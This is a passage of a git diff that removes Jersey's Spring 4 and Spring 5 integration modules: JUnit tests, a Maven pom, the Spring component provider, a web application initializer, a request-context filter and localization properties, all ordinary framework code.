a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/SpringTestConfiguration.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/SpringTestConfiguration.java deleted file mode 100644 index 5a8123cc423..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/SpringTestConfiguration.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring; - -import org.springframework.context.annotation.ComponentScan; -import org.springframework.context.annotation.Configuration; - -@Configuration -@ComponentScan(basePackages = "org.glassfish.jersey.server.spring") -public class SpringTestConfiguration { -} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/aspect4j/Aspect4JTest.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/aspect4j/Aspect4JTest.java deleted file mode 100644 index 52fd0e3e110..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/aspect4j/Aspect4JTest.java +++ /dev/null @@ -1,64 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.aspect4j; - -import jakarta.ws.rs.core.Application; - -import org.glassfish.jersey.test.JerseyTest; -import org.junit.Before; -import org.junit.Test; -import org.springframework.context.support.ClassPathXmlApplicationContext; - -import static org.junit.Assert.assertEquals; - -public class Aspect4JTest extends JerseyTest { - - private ClassPathXmlApplicationContext applicationContext; - - private TestAspect testAspect; - - @Before - public void before() { - testAspect.reset(); - } - - @Override - protected Application configure() { - applicationContext = new ClassPathXmlApplicationContext("jersey-spring-aspect4j-applicationContext.xml"); - testAspect = applicationContext.getBean(TestAspect.class); - return new Aspect4jJerseyConfig() - .property("contextConfig", applicationContext); - } - - @Test - public void methodCallShouldNotBeIntercepted() { - target("test1").request().get(String.class); - assertEquals(0, testAspect.getInterceptions()); - } - - @Test - public void methodCallShouldBeIntercepted() { - target("test2").request().get(String.class); - assertEquals(1, applicationContext.getBean(TestAspect.class).getInterceptions()); - } - - @Test - public void JERSEY_3126() { - final String result = target("JERSEY-3126").request().get(String.class); - assertEquals("test ok", result); - } -} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/filter/FilterTest.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/filter/FilterTest.java deleted file mode 100644 index 3c33392daad..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/filter/FilterTest.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.filter; - -import jakarta.ws.rs.core.Application; - -import org.glassfish.jersey.server.spring.SpringTestConfiguration; -import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import org.springframework.context.ApplicationContext; -import org.springframework.context.annotation.AnnotationConfigApplicationContext; - -import static org.junit.Assert.assertEquals; - -public class FilterTest extends JerseyTest { - - private ApplicationContext context; - - @Override - protected Application configure() { - context = new AnnotationConfigApplicationContext(SpringTestConfiguration.class); - return new JerseyTestConfig() - .property("contextConfig", context); - } - - @Test - public void testInjectionOfSingleBean() { - target("test1").request().get(String.class); - assertEquals(1, context.getBean(Counter.class).getCount()); - } - -} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionJerseyTestConfig.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionJerseyTestConfig.java deleted file mode 100644 index 5a9d3b75f77..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionJerseyTestConfig.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.methodinjection; - -import org.glassfish.jersey.server.spring.scope.RequestContextFilter; -import org.glassfish.jersey.server.ResourceConfig; - -public class SpringMethodInjectionJerseyTestConfig extends ResourceConfig { - public SpringMethodInjectionJerseyTestConfig() { - register(RequestContextFilter.class); - register(SpringMethodInjectionTestResource.class); - } -} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionTest.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionTest.java deleted file mode 100644 index 3f66478a958..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionTest.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.methodinjection; - -import static org.junit.Assert.assertEquals; - -import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import org.springframework.context.ApplicationContext; -import org.springframework.context.annotation.AnnotationConfigApplicationContext; -import org.glassfish.jersey.server.spring.SpringTestConfiguration; - -import jakarta.ws.rs.core.Application; - -public class SpringMethodInjectionTest extends JerseyTest { - - @Override - protected Application configure() { - ApplicationContext context = new AnnotationConfigApplicationContext(SpringTestConfiguration.class); - return new SpringMethodInjectionJerseyTestConfig() - .property("contextConfig", context); - } - - @Test - public void testInjectionOfSingleBean() { - String result = target("test1").request().get(String.class); - assertEquals("test ok", result); - } - - @Test - public void testInjectionOfListOfBeans() { - String result = target("test2").request().get(String.class); - assertEquals("test ok", result); - } - - @Test - public void testInjectionOfSetOfBeans() { - String result = target("test3").request().get(String.class); - assertEquals("test ok", result); - } -} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionTestResource.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionTestResource.java deleted file mode 100644 index b7c56c964b5..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionTestResource.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.parameterinjection; - -import org.glassfish.jersey.server.spring.TestComponent1; -import org.glassfish.jersey.server.spring.TestComponent2; -import org.springframework.beans.factory.annotation.Autowired; - -import jakarta.ws.rs.GET; -import jakarta.ws.rs.Path; -import java.util.Iterator; -import java.util.List; -import java.util.Set; - -@Path("/") -public class SpringParameterInjectionTestResource { - - private final TestComponent1 testComponent1; - private final List testComponent2List; - private final Set testComponent2Set; - - @Autowired - public SpringParameterInjectionTestResource(final TestComponent1 testComponent1, - final List testComponent2List, - final Set testComponent2Set) { - this.testComponent1 = testComponent1; - this.testComponent2List = testComponent2List; - this.testComponent2Set = testComponent2Set; - } - - @Path("test1") - @GET - public String test1() { - return testComponent1.result(); - } - - @Path("test2") - @GET - public String test2() { - return (testComponent2List.size() == 2 && "test ok".equals(testComponent2List.get(0).result()) - && "test ok".equals(testComponent2List.get(1).result())) ? "test ok" : "test failed"; - } - - @Path("test3") - @GET - public String test3() { - Iterator iterator = testComponent2Set.iterator(); - return (testComponent2Set.size() == 2 && "test ok".equals(iterator.next().result()) - && "test ok".equals(iterator.next().result())) ? "test ok" : "test failed"; - } -} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringDefaultProfileResourceTest.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringDefaultProfileResourceTest.java deleted file mode 100644 index 3b1f6a8b694..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringDefaultProfileResourceTest.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.profiles; - -import jakarta.ws.rs.core.Application; - -import org.glassfish.jersey.logging.LoggingFeature; -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.spring.scope.RequestContextFilter; -import org.glassfish.jersey.test.JerseyTest; - -import org.junit.Assert; -import org.junit.Test; -import org.springframework.context.ApplicationContext; -import org.springframework.context.annotation.AnnotationConfigApplicationContext; - -public class SpringDefaultProfileResourceTest extends JerseyTest { - - @Override - protected Application configure() { - System.setProperty("spring.profiles.active", ""); - ApplicationContext context = new AnnotationConfigApplicationContext("org.glassfish.jersey.server.spring.profiles"); - return new ResourceConfig() - .register(RequestContextFilter.class) - .register(LoggingFeature.class) - .packages("org.glassfish.jersey.server.spring.profiles") - .property("contextConfig", context); - } - - @Test - public void shouldUseDefaultComponent() { - final String result = target("spring-resource").request().get(String.class); - Assert.assertEquals("default", result); - } -} diff --git a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringDevProfileResourceTest.java b/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringDevProfileResourceTest.java deleted file mode 100644 index 2d7c5a184ed..00000000000 --- a/ext/spring4/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringDevProfileResourceTest.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.profiles; - -import jakarta.ws.rs.core.Application; - -import org.glassfish.jersey.logging.LoggingFeature; -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.spring.scope.RequestContextFilter; -import org.glassfish.jersey.test.JerseyTest; - -import org.junit.Assert; -import org.junit.Test; -import org.springframework.context.annotation.AnnotationConfigApplicationContext; - -public class SpringDevProfileResourceTest extends JerseyTest { - - @Override - protected Application configure() { - System.setProperty("spring.profiles.active", "dev"); - AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext( - "org.glassfish.jersey.server.spring.profiles"); - return new ResourceConfig() - .register(RequestContextFilter.class) - .register(LoggingFeature.class) - .packages("org.glassfish.jersey.server.spring.profiles") - .property("contextConfig", context); - } - - @Test - public void shouldUseDevProfileBean() { - final String result = target("spring-resource").request().get(String.class); - Assert.assertEquals("dev", result); - } -} diff --git a/ext/spring5/pom.xml b/ext/spring5/pom.xml deleted file mode 100644 index 4647434fddb..00000000000 --- a/ext/spring5/pom.xml +++ /dev/null @@ -1,206 +0,0 @@ - - - - - - 4.0.0 - - - org.glassfish.jersey.ext - project - 3.0.0-SNAPSHOT - - - jersey-spring5 - jersey-spring5 - - jar - - - Jersey extension module providing support for Spring 5 integration. - - - - - org.glassfish.jersey.core - jersey-server - ${project.version} - - - - org.glassfish.jersey.inject - jersey-hk2 - ${project.version} - - - - org.glassfish.jersey.containers - jersey-container-servlet-core - ${project.version} - - - - org.glassfish.jersey.test-framework.providers - jersey-test-framework-provider-grizzly2 - ${project.version} - test - - - - commons-logging - commons-logging - 1.2 - test - - - - org.glassfish.hk2 - hk2 - ${hk2.version} - - - - org.glassfish.hk2 - spring-bridge - ${hk2.version} - - - jakarta.inject - jakarta.inject - - - org.glassfish.hk2 - hk2-api - - - org.springframework - spring-context - - - - - - org.springframework - spring-beans - ${spring5.version} - - - - org.springframework - spring-core - ${spring5.version} - - - commons-logging - commons-logging - - - - - - org.springframework - spring-context - ${spring5.version} - - - commons-logging - commons-logging - - - - - - org.springframework - spring-web - ${spring5.version} - - - - org.springframework - spring-aop - ${spring5.version} - - - - jakarta.servlet - jakarta.servlet-api - ${servlet4.version} - provided - - - - org.glassfish.jersey.test-framework - jersey-test-framework-core - ${project.version} - test - - - - org.aspectj - aspectjrt - 1.6.11 - test - - - org.aspectj - aspectjweaver - 1.6.11 - test - - - - - - - - com.sun.istack - istack-commons-maven-plugin - true - - - org.codehaus.mojo - build-helper-maven-plugin - true - - - - - - - delayed-strategy-skip-test - - - org.glassfish.jersey.injection.manager.strategy - delayed - - - - - - org.apache.maven.plugins - maven-surefire-plugin - - true - - - - - - - diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java b/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java deleted file mode 100644 index e8df9402ad4..00000000000 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java +++ /dev/null @@ -1,177 +0,0 @@ -/* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring; - -import java.util.Set; -import java.util.function.Supplier; -import java.util.logging.Level; -import java.util.logging.Logger; - -import jakarta.servlet.ServletContext; - -import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager; -import org.glassfish.jersey.internal.inject.Binding; -import org.glassfish.jersey.internal.inject.Bindings; -import org.glassfish.jersey.internal.inject.InjectionManager; -import org.glassfish.jersey.server.ApplicationHandler; -import org.glassfish.jersey.server.spi.ComponentProvider; - -import org.jvnet.hk2.spring.bridge.api.SpringBridge; -import org.jvnet.hk2.spring.bridge.api.SpringIntoHK2Bridge; - -import org.springframework.aop.framework.Advised; -import org.springframework.beans.factory.BeanFactoryUtils; -import org.springframework.context.ApplicationContext; -import org.springframework.context.support.ClassPathXmlApplicationContext; -import org.springframework.core.annotation.AnnotationUtils; -import org.springframework.stereotype.Component; -import org.springframework.web.context.support.WebApplicationContextUtils; - -/** - * Custom ComponentProvider class. - * Responsible for 1) bootstrapping Jersey 2 Spring integration and - * 2) making Jersey skip JAX-RS Spring component life-cycle management and leave it to us. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class SpringComponentProvider implements ComponentProvider { - - private static final Logger LOGGER = Logger.getLogger(SpringComponentProvider.class.getName()); - private static final String DEFAULT_CONTEXT_CONFIG_LOCATION = "applicationContext.xml"; - private static final String PARAM_CONTEXT_CONFIG_LOCATION = "contextConfigLocation"; - private static final String PARAM_SPRING_CONTEXT = "contextConfig"; - - private volatile InjectionManager injectionManager; - private volatile ApplicationContext ctx; - - @Override - public void initialize(InjectionManager injectionManager) { - this.injectionManager = injectionManager; - - if (LOGGER.isLoggable(Level.FINE)) { - LOGGER.fine(LocalizationMessages.CTX_LOOKUP_STARTED()); - } - - ServletContext sc = injectionManager.getInstance(ServletContext.class); - - if (sc != null) { - // servlet container - ctx = WebApplicationContextUtils.getWebApplicationContext(sc); - } else { - // non-servlet container - ctx = createSpringContext(); - } - if (ctx == null) { - LOGGER.severe(LocalizationMessages.CTX_LOOKUP_FAILED()); - return; - } - LOGGER.config(LocalizationMessages.CTX_LOOKUP_SUCESSFUL()); - - // initialize HK2 spring-bridge - - ImmediateHk2InjectionManager hk2InjectionManager = (ImmediateHk2InjectionManager) injectionManager; - SpringBridge.getSpringBridge().initializeSpringBridge(hk2InjectionManager.getServiceLocator()); - SpringIntoHK2Bridge springBridge = injectionManager.getInstance(SpringIntoHK2Bridge.class); - springBridge.bridgeSpringBeanFactory(ctx); - - injectionManager.register(Bindings.injectionResolver(new AutowiredInjectResolver(ctx))); - injectionManager.register(Bindings.service(ctx).to(ApplicationContext.class).named("SpringContext")); - LOGGER.config(LocalizationMessages.SPRING_COMPONENT_PROVIDER_INITIALIZED()); - } - - // detect JAX-RS classes that are also Spring @Components. - // register these with HK2 ServiceLocator to manage their lifecycle using Spring. - @Override - public boolean bind(Class component, Set> providerContracts) { - - if (ctx == null) { - return false; - } - - if (AnnotationUtils.findAnnotation(component, Component.class) != null) { - String[] beanNames = BeanFactoryUtils.beanNamesForTypeIncludingAncestors(ctx, component); - if (beanNames == null || beanNames.length != 1) { - LOGGER.severe(LocalizationMessages.NONE_OR_MULTIPLE_BEANS_AVAILABLE(component)); - return false; - } - String beanName = beanNames[0]; - - Binding binding = Bindings.supplier(new SpringManagedBeanFactory(ctx, injectionManager, beanName)) - .to(component) - .to(providerContracts); - injectionManager.register(binding); - - LOGGER.config(LocalizationMessages.BEAN_REGISTERED(beanNames[0])); - return true; - } - return false; - } - - @Override - public void done() { - } - - private ApplicationContext createSpringContext() { - ApplicationHandler applicationHandler = injectionManager.getInstance(ApplicationHandler.class); - ApplicationContext springContext = (ApplicationContext) applicationHandler.getConfiguration() - .getProperty(PARAM_SPRING_CONTEXT); - if (springContext == null) { - String contextConfigLocation = (String) applicationHandler.getConfiguration() - .getProperty(PARAM_CONTEXT_CONFIG_LOCATION); - springContext = createXmlSpringConfiguration(contextConfigLocation); - } - return springContext; - } - - private ApplicationContext createXmlSpringConfiguration(String contextConfigLocation) { - if (contextConfigLocation == null) { - contextConfigLocation = DEFAULT_CONTEXT_CONFIG_LOCATION; - } - return ctx = new ClassPathXmlApplicationContext(contextConfigLocation, "jersey-spring-applicationContext.xml"); - } - - private static class SpringManagedBeanFactory implements Supplier { - - private final ApplicationContext ctx; - private final InjectionManager injectionManager; - private final String beanName; - - private SpringManagedBeanFactory(ApplicationContext ctx, InjectionManager injectionManager, String beanName) { - this.ctx = ctx; - this.injectionManager = injectionManager; - this.beanName = beanName; - } - - @Override - public Object get() { - Object bean = ctx.getBean(beanName); - if (bean instanceof Advised) { - try { - // Unwrap the bean and inject the values inside of it - Object localBean = ((Advised) bean).getTargetSource().getTarget(); - injectionManager.inject(localBean); - } catch (Exception e) { - // Ignore and let the injection happen as it normally would. - injectionManager.inject(bean); - } - } else { - injectionManager.inject(bean); - } - return bean; - } - } -} diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java b/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java deleted file mode 100644 index c3bac70aef9..00000000000 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring; - -import java.util.logging.Logger; - -import jakarta.servlet.ServletContext; -import jakarta.servlet.ServletException; - -import org.springframework.web.WebApplicationInitializer; - -/** - * Spring WebApplicationInitializer implementation initializes Spring context by - * adding a Spring ContextLoaderListener to the ServletContext. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - */ -public class SpringWebApplicationInitializer implements WebApplicationInitializer { - - private static final Logger LOGGER = Logger.getLogger(SpringWebApplicationInitializer.class.getName()); - - private static final String PAR_NAME_CTX_CONFIG_LOCATION = "contextConfigLocation"; - - @Override - public void onStartup(ServletContext sc) throws ServletException { - if (sc.getInitParameter(PAR_NAME_CTX_CONFIG_LOCATION) == null) { - LOGGER.config(LocalizationMessages.REGISTERING_CTX_LOADER_LISTENER()); - sc.setInitParameter(PAR_NAME_CTX_CONFIG_LOCATION, "classpath:applicationContext.xml"); - sc.addListener("org.springframework.web.context.ContextLoaderListener"); - sc.addListener("org.springframework.web.context.request.RequestContextListener"); - } else { - LOGGER.config(LocalizationMessages.SKIPPING_CTX_LODAER_LISTENER_REGISTRATION()); - } - } -} diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java b/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java deleted file mode 100644 index de87d7e91db..00000000000 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java +++ /dev/null @@ -1,116 +0,0 @@ -/* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.scope; - -import java.io.IOException; - -import jakarta.ws.rs.container.ContainerRequestContext; -import jakarta.ws.rs.container.ContainerRequestFilter; -import jakarta.ws.rs.container.ContainerResponseContext; -import jakarta.ws.rs.container.ContainerResponseFilter; -import jakarta.ws.rs.container.PreMatching; -import jakarta.ws.rs.ext.Provider; - -import jakarta.inject.Inject; -import jakarta.servlet.http.HttpServletRequest; - -import org.glassfish.jersey.internal.inject.InjectionManager; - -import org.springframework.context.ApplicationContext; -import org.springframework.web.context.WebApplicationContext; -import org.springframework.web.context.request.AbstractRequestAttributes; -import org.springframework.web.context.request.RequestAttributes; -import org.springframework.web.context.request.RequestContextHolder; - -/** - * Spring filter to provide a bridge between JAX-RS and Spring request attributes. - * - * @author Marko Asplund (marko.asplund at yahoo.com) - * @author Jakub Podlesak - * @author Marek Potociar - */ -@Provider -@PreMatching -public final class RequestContextFilter implements ContainerRequestFilter, ContainerResponseFilter { - - private static final String REQUEST_ATTRIBUTES_PROPERTY = RequestContextFilter.class.getName() + ".REQUEST_ATTRIBUTES"; - - private final SpringAttributeController attributeController; - - private static final SpringAttributeController EMPTY_ATTRIBUTE_CONTROLLER = new SpringAttributeController() { - @Override - public void setAttributes(final ContainerRequestContext requestContext) { - } - - @Override - public void resetAttributes(final ContainerRequestContext requestContext) { - } - }; - - private interface SpringAttributeController { - - void setAttributes(final ContainerRequestContext requestContext); - - void resetAttributes(final ContainerRequestContext requestContext); - } - - /** - * Create a new request context filter instance. - * - * @param injectionManager injection manager. - */ - @Inject - public RequestContextFilter(final InjectionManager injectionManager) { - final ApplicationContext appCtx = injectionManager.getInstance(ApplicationContext.class); - final boolean isWebApp = appCtx instanceof WebApplicationContext; - - attributeController = appCtx != null ? new SpringAttributeController() { - - @Override - public void setAttributes(final ContainerRequestContext requestContext) { - final RequestAttributes attributes; - if (isWebApp) { - final HttpServletRequest httpRequest = injectionManager.getInstance(HttpServletRequest.class); - attributes = new JaxrsServletRequestAttributes(httpRequest, requestContext); - } else { - attributes = new JaxrsRequestAttributes(requestContext); - } - requestContext.setProperty(REQUEST_ATTRIBUTES_PROPERTY, attributes); - RequestContextHolder.setRequestAttributes(attributes); - } - - @Override - public void resetAttributes(final ContainerRequestContext requestContext) { - final AbstractRequestAttributes attributes = - (AbstractRequestAttributes) requestContext.getProperty(REQUEST_ATTRIBUTES_PROPERTY); - RequestContextHolder.resetRequestAttributes(); - attributes.requestCompleted(); - } - } : EMPTY_ATTRIBUTE_CONTROLLER; - } - - @Override - public void filter(final ContainerRequestContext requestContext) throws IOException { - attributeController.setAttributes(requestContext); - } - - @Override - public void filter(final ContainerRequestContext requestContext, final ContainerResponseContext responseContext) - throws IOException { - attributeController.resetAttributes(requestContext); - } -} diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java b/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java deleted file mode 100644 index 49985aab7de..00000000000 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java +++ /dev/null @@ -1,21 +0,0 @@ -/* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -/** - * Jersey server-side Spring 5 integration injection scopes related classes. - * @since 2.29 - */ -package org.glassfish.jersey.server.spring.scope; diff --git a/ext/spring5/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ComponentProvider b/ext/spring5/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ComponentProvider deleted file mode 100644 index 5aec207d97f..00000000000 --- a/ext/spring5/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ComponentProvider +++ /dev/null @@ -1 +0,0 @@ -org.glassfish.jersey.server.spring.SpringComponentProvider diff --git a/ext/spring5/src/main/resources/org/glassfish/jersey/server/spring/localization.properties b/ext/spring5/src/main/resources/org/glassfish/jersey/server/spring/localization.properties deleted file mode 100644 index 83f9220d77b..00000000000 --- a/ext/spring5/src/main/resources/org/glassfish/jersey/server/spring/localization.properties +++ /dev/null @@ -1,26 +0,0 @@ -# -# Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. -# -# This program and the accompanying materials are made available under the -# terms of the Eclipse Public License v. 2.0, which is available at -# http://www.eclipse.org/legal/epl-2.0. -# -# This Source Code may also be made available under the following Secondary -# Licenses when the conditions for such availability set forth in the -# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, -# version 2 with the GNU Classpath Exception, which is available at -# https://www.gnu.org/software/classpath/license.html. -# -# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 -# - -no.beans.found.for.type=No beans found. Resolution failed for type {0}. -ctx.lookup.started=Spring context lookup started. -ctx.lookup.failed=Spring context lookup failed, skipping spring component provider initialization. -ctx.lookup.sucessful=Spring context lookup done. -spring.component.provider.initialized=Spring component provider initialized. -none.or.multiple.beans.available=None or multiple beans found in Spring context for 